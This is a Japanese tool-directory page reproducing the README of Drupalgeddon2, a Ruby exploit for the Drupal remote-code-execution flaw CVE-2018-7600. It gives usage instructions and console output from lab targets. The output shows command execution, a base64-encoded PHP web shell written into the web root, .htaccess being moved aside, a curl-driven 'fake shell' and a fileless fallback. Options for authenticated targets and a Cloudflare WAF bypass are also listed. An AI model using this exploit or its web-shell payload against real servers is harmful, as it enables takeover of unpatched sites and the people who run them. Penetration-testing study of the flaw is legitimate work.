Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
Drupalgeddon2 — Drupal v7.x および v8.x 向けエクスプロイト (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002) | Kitploit
ツール/GitHubGitHub/dreadlocked/drupalgeddon2
ペイロード生成脆弱性分析エクスプロイトシェルコードウェブアプリケーション悪用ペネトレーションテスト
GitHubdreadlocked/drupalgeddon2

Drupalgeddon2

Drupal v7.x および v8.x 向けエクスプロイト (Drupalgeddon 2 / CVE-2018-7600 / SA-CORE-2018-002)

リポジトリを見る
600169235年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2018-7600 | Drupal 8.5.x < 8.5.1 / 8.4.x < 8.4.6 / 8.x < 8.3.9 / 7.x? < 7.58 / < 6.x? - 'Drupalgeddon2' RCE (SA-CORE-2018-002)

Drupalggedon2 ~ https://github.com/dreadlocked/Drupalgeddon2/ (https://www.drupal.org/sa-core-2018-002)

サポート対象:

  • Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 ~ user/register URL、account/mailおよび#post_renderパラメータを攻撃、PHPのpassthru関数を使用
  • Drupal < 7.58 ~ user/password URL、triggering_element_nameフォームおよび#post_renderパラメータを攻撃、PHPのpassthru関数を使用
  • 直接コマンド(別名ファイルレス方式)に対応、またはPHPシェルをウェブルート(./)またはサブディレクトリ(./sites/default/および./sites/default/files/)へ書き込みます
  • LinuxおよびWindowsターゲットをサポート
  • Drupalバージョンを自動検出(または適切に推測します!)

Drupal v8.xではuser/registerメソッドが選択されました。これはHTTP 200を返し、data JSONレスポンス内に出力をレンダリングするためです(timezone/#lazy_builderメソッドのコードをコメント解除するとHTTP 500を返しブラインドになります) (More Information)

著者:

  • Hans Topo (@_dreadlocked)
  • g0tmi1k (@g0tmi1k)

注意:

  • 上級ユーザー/セットアップ向けには、よりカスタマイズ可能なエクスプロイトがあります。drupalgeddon2-customizable-beta.rbセクションを参照してください。
  • Issueを開く前に、最後のトラブルシューティングセクションをお読みください。ありがとうございます!

使い方:

root@kitploit:~
$ ruby drupalgeddon2.rb
Usage: ruby drupalggedon2.rb <target> [--verbose] [--authentication]
       ruby drupalgeddon2.rb https://example.com
$

--verboseおよび--authenticationパラメータはの後に任意の順序で追加でき、両方ともオプションです。--authenticationが指定されると、次の入力を求められます:

  • ユーザー名,
  • パスワード,
  • ユーザー名用のフォームフィールド名,
  • パスワード用のフォームフィールド名,
  • WebログインページへのURLパス(例: user/login),
  • フォーム送信時に資格情報の後に追加するサフィックス(例: form_idなど)

これは、最初にPOSTベースのWebログインを必要とし、認証成功時にセッションCookieで応答するWebサイトをエクスプロイトするためのサポートです。

Drupal v8.x の例

Drupal v8.x < v8.3.9 / v8.4.x < v8.4.6 / v8.5.x < v8.5.1

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-8/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-8/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-8/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-8/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TTTBJJBP
[+] Result : TTTBJJBP
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-8/s.php' -d 'c=hostname'
ubuntu140045x64-drupal>> uname -a
Linux ubuntu140045x64-drupal 3.13.0-144-generic #193-Ubuntu SMP Thu Mar 15 17:03:53 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux
ubuntu140045x64-drupal>>

Drupal v7.x の例

Drupal < v7.58

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-7/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-7/
--------------------------------------------------------------------------------
[+] Found  : http://localhost/drupal-7/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal!: v7.31
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo TKYPVVJJ
[+] Result : TKYPVVJJ
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
--------------------------------------------------------------------------------
[i] Fake shell:   curl 'http://localhost/drupal-7/s.php' -d 'c=hostname'

ubuntu140045x64-drupal>> uptime
 14:52:33 up 4 days,  3:35,  1 user,  load average: 0.00, 0.01, 0.05
ubuntu140045x64-drupal>>

直接コマンド / PHP以外のシェル(ファイルレス方式)

PHP WebシェルをWebサーバーに書き込む試みすら行いたくない場合は、ファイルを次のように編集します(書き込み可能な場所が見つからない場合は自動的にフォールバックします):

root@kitploit:~
try_phpshelltryphpshell = false

例

root@kitploit:~
$ ./drupalgeddon2.rb http://localhost/drupal-nonwrite/
[*] --==[::#Drupalggedon2::]==--
--------------------------------------------------------------------------------
[i] Target : http://localhost/drupal-nonwrite/
--------------------------------------------------------------------------------
[!] MISSING: http://localhost/drupal-nonwrite/CHANGELOG.txt    (HTTP Response: 404)
[+] Found  : http://localhost/drupal-nonwrite/core/CHANGELOG.txt    (HTTP Response: 200)
[+] Drupal?: v8.x
--------------------------------------------------------------------------------
[*] Testing: Code Execution
[i] Payload: echo HYCBAIET
[+] Result : HYCBAIET
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
--------------------------------------------------------------------------------
[*] Testing: Writing To Web Root (./)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/)
[i] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [2] (HTTP Response: 404)...    Might not have write access?
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
[*] Testing: Writing To Web Root (sites/default/files/)
[*] Moving : ./sites/default/files/.htaccess
[i] Payload: mv -f sites/default/files/.htaccess sites/default/files/.htaccess-bak; echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee sites/default/files/s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }
[!] Target is NOT exploitable for some reason [1] (HTTP Response: 403)...    May not be able to execute PHP from here?
[!] FAILED: Couldn't find writeable web path
--------------------------------------------------------------------------------
[*] Dropping back to direct commands
drupalgeddon2>> lsb_release -a
Distributor ID:	Ubuntu
Description:	Ubuntu 14.04.5 LTS
Release:	14.04
Codename:	trusty
drupalgeddon2>>

プロキシサポート

プロキシサポート(例: Burp)のために、ファイルを編集して自分の値に置き換えます。例:

root@kitploit:~
proxy_addr = "192.168.0.130"
proxy_port = 8080

実験的ですが使用可能: drupalgeddon2-customizable-beta.rb

drupalgeddon2-customizable-beta.rbは、よりカスタマイズ可能であるため、上級ユーザー向けです。使用するPHPメソッド(system()やpassthru()だけでなく)や、user/passwordフォームへの到達方法など、さらに多くのパラメータを指定できます。

使用例:

root@kitploit:~
Usage example: ./drupalgeddon-customizable-beta.rb -u http://example.com/ -v 7 -c id
More info: -h
    -u, --url URL                    [Required] Service URL
    -v, --version VERSION            [Required] Target Drupal version {7,8}
    -c, --command COMMAND            [Required] Command to execute
    -m, --method PHP_METHOD          [Optional] PHP Method to use, by default: passthru
        --form                       [Optional] Form to attack, by default '/user/password' in Drupal 7 and '/user/register' in Drupal 8
        --cloudflare                 [Optional] Tries to bypass Cloudflare using Lua-Nginx +100 parameters WAF Bypass
    -h, --help                       Prints this help

トラブルシューティング:

  • cannot load such file "LoadError" タイプのエラーが発生した場合は、sudo gem install <missing dependency> を実行してください。特に、highline 依存関係を sudo gem install highline でインストールする必要がある場合があります。

  • ターゲットが別のパス(Drupalが存在するパス)にリダイレクトする場合があります(例: HTTP 30x レスポンス)

    • 解決策: 正しいDrupalパスを使用していることを確認してください。
  • ペイロード/コマンドで使用できる文字に制限があります

    • 解決策: これは脆弱性がそれらをどのように認識するか、およびURLリクエスト用にエンコードされるためです。ペイロードをエンコードし、ターゲット上でデコードします。例: base64
  • ターゲットがLinuxで、"GNU base64"を使用していない場合、BSDバージョンである可能性があります(またはまったくインストールされていない!)

    • 解決策: base64 -d の代わりに base64 -D を使用するか、ファイルレス方式を使用します。
  • ターゲットがWindowsの場合、PHPシェルの書き込みは常に失敗します

    • 解決策: ファイルレス方式を使用します。これは、certutilやPowerShellではなく、Unixプログラムへのパイプになるためです。
  • Drupal v8.x - ./.htaccess によって、./sites/default/ が書き込み可能フォルダである場合、そのディレクトリ内のPHPスクリプトの実行が妨げられます

    • 解決策: ファイルレス方式に切り替えてください。
  • Drupal v8.x - ターゲットで "clean URL" が有効になっていない

    • 解決策: 該当なし - 脆弱ではありません =(

リンク:

  • Drupal SA-CORE-2018-002 アドバイザリ ~ https://www.drupal.org/sa-core-2018-002
  • CVE ~ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-7600
  • 解説と研究 ~ https://research.checkpoint.com/uncovering-drupalgeddon-2/
  • cURLコマンド/サンプルPoC ~ https://gist.github.com/g0tmi1k/7476eec3f32278adc07039c3e5473708
ツールをダウンロード
  • Drupal v7.x - /user/password フォームが無効になっている場合、別のフォームを見つける必要があります(エクスプロイトを変更することを忘れずに!)

    • 解決策: form_id パラメータは、脆弱性の悪用に使用するフォームによって変わります。